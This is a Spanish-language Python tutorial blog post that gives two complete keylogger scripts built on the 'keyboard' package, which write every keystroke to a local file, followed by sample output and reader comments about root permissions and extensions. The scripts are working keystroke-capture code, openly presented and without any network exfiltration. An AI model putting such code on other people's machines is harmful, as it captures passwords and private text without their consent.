Descarga: keylogger.zip.
Generalmente las aplicaciones de este tipo que rondan por la web utilizan una librería llamada pyHook, una envoltura alrededor de la API de Windows, y por ende disponible únicamente para el sistema operativo de Microsoft. Además, pyHook recibió su última actualización en 2010 y no soporta Python 3.
Como alternativa, el registrador de teclas de Recursos Python hace uso de un paquete llamado keyboard, disponible para Python 2 y 3 y sistemas operativos Windows y Linux. Puedes instalarlo con el siguiente comando:
sudo pip install keyboard
La sección de descargas en PyPI incluye el código de fuente e instaladores para Windows.
Ambos códigos a continuación escriben las teclas presionadas a un archivo de texto.
Nota: para evitar la incompatibilidad del código con futuras versiones de keyboard
, puedes descargar la versión 0.9.10, utilizada en este artículo, desde este enlace.
Keylogger (registrador de teclas)
Registra todas las teclas incluyendo los modificadores (Ctrl, Alt, etc.), indicando si estos últimos están siendo presionados.
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright 2013-2017 Recursos Python # www.recursospython.com # from functools import partial import atexit import os import keyboard MAP = { "space": " ", "\r": "\n" } # Ubicación y nombre del archivo que guarda las teclas presionadas. FILE_NAME = "keys.txt" # Determina si el archivo de salida es limpiado cada vez que se # inicia el programa. CLEAR_ON_STARTUP = False # Tecla para terminar el programa o None para no utilizar ninguna tecla. TERMINATE_KEY = "esc" def callback(output, is_down, event): if event.event_type in ("up", "down"): key = MAP.get(event.name, event.name) modifier = len(key) > 1 # Capturar únicamente los modificadores cuando están siendo # presionados. if not modifier and event.event_type == "down": return # Evitar escribir múltiples veces la misma tecla si está # siendo presionada. if modifier: if event.event_type == "down": if is_down.get(key, False): return else: is_down[key] = True elif event.event_type == "up": is_down[key] = False # Indicar si está siendo presionado. key = " [{} ({})] ".format(key, event.event_type) elif key == "\r": # Salto de línea. key = "\n" # Escribir la tecla al archivo de salida. output.write(key) # Forzar escritura. output.flush() def onexit(output): output.close() def main(): # Borrar el archivo previo. if CLEAR_ON_STARTUP: os.remove(FILE_NAME) # Indica si una tecla está siendo presionada. is_down = {} # Archivo de salida. output = open(FILE_NAME, "a") # Cerrar el archivo al terminar el programa. atexit.register(onexit, output) # Instalar el registrador de teclas. keyboard.hook(partial(callback, output, is_down)) keyboard.wait(TERMINATE_KEY) if __name__ == "__main__": main()
Ejemplo de archivo de salida:
[mayusculas derecha (down)] r [mayusculas derecha (up)] ecursos [mayusculas derecha (down)] p [mayusculas derecha (up)] ython
www.recursospython.com
foro.recursospython.com
Los modificadores se indican entre corchetes, y la tecla Enter se traduce en saltos de línea en el archivo.
Textlogger (registrador de textos)
Este código es más conciso que el anterior ya que utiliza las capacidades que provee keyboard
para detectar textos escritos. Por ejemplo, el paquete detecta la presión de la tecla Shift y convierte las letras a mayúsculas. Sin embargo, la presión de los modificadores no es indicada en el archivo de salida.
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright 2013-2017 Recursos Python # www.recursospython.com # import os import keyboard # Ubicación y nombre del archivo que guarda las teclas presionadas. FILE_NAME = "keys.txt" # Determina si el archivo de salida es limpiado cada vez que se # inicia el programa. CLEAR_ON_STARTUP = False # Tecla para terminar el programa o None para no utilizar ninguna tecla. TERMINATE_KEY = "esc" def main(): if CLEAR_ON_STARTUP: os.remove(FILE_NAME) output = open(FILE_NAME, "a") for string in keyboard.get_typed_strings(keyboard.record(TERMINATE_KEY)): output.write(string + "\n") output.close() if __name__ == "__main__": main()
Curso online 👨💻
¡Ya lanzamos el curso oficial de Recursos Python en Udemy!
Un curso moderno para aprender Python desde cero con programación orientada a objetos, SQL y tkinter
en 2024.
Consultoría 💡
Ofrecemos servicios profesionales de desarrollo y capacitación en Python a personas y empresas. Consultanos por tu proyecto.
Gael Zazueta says:
Hola, ayer probe el keylogger y me iba de maravilla, pero ahora lo quiero volver a hacer para modificar una que otra cosa y ya no me anda, copio tal cual el codigo que antes si me habia funcionado y me sale lo siguiente:
Traceback (most recent call last):
File «keylogger.py», line 80, in
main()
File «keylogger.py», line 75, in main
keyboard.hook(partial(callback, output, is_down))
File «/usr/lib/python3.6/site-packages/keyboard/__init__.py», line 344, in hook
_listener.add_handler(callback)
File «/usr/lib/python3.6/site-packages/keyboard/_generic.py», line 67, in add_handler
self.start_if_necessary()
File «/usr/lib/python3.6/site-packages/keyboard/_generic.py», line 35, in start_if_necessary
self.init()
File «/usr/lib/python3.6/site-packages/keyboard/__init__.py», line 116, in init
_os_keyboard.init()
File «/usr/lib/python3.6/site-packages/keyboard/_nixkeyboard.py», line 110, in init
build_device()
File «/usr/lib/python3.6/site-packages/keyboard/_nixkeyboard.py», line 107, in build_device
device = aggregate_devices(‘kbd’)
File «/usr/lib/python3.6/site-packages/keyboard/_nixcommon.py», line 141, in aggregate_devices
uinput = make_uinput()
File «/usr/lib/python3.6/site-packages/keyboard/_nixcommon.py», line 27, in make_uinput
uinput = open(«/dev/uinput», ‘wb’)
OSError: [Errno 19] No such device: ‘/dev/uinput’
Sabes que podria ser? desde que lo probe ayer y me funciono, no he cambiado nada de librerias, probe a reinstalar la libreria keyboard para ver si era eso pero tampoco, sigue igual, estoy usando linux para probar pero tengo pensado usarlo con windows
Recursos Python says:
Hola. No estoy muy versado en Linux, pero tengo entendido que el código debe correr con permisos del usuario root. También puede ocurrir que el controlador uinput no esté cargado (véase este enlace).
Saludos!
sdsad says:
Disculpe como lo puedo contactar?
Recursos Python says:
Hola, vía el formulario de contacto. Saludos.
Keylogger says:
buenas, como puedo integrar un contador de teclas, es decir al llegar a cierto limite que me lo informe?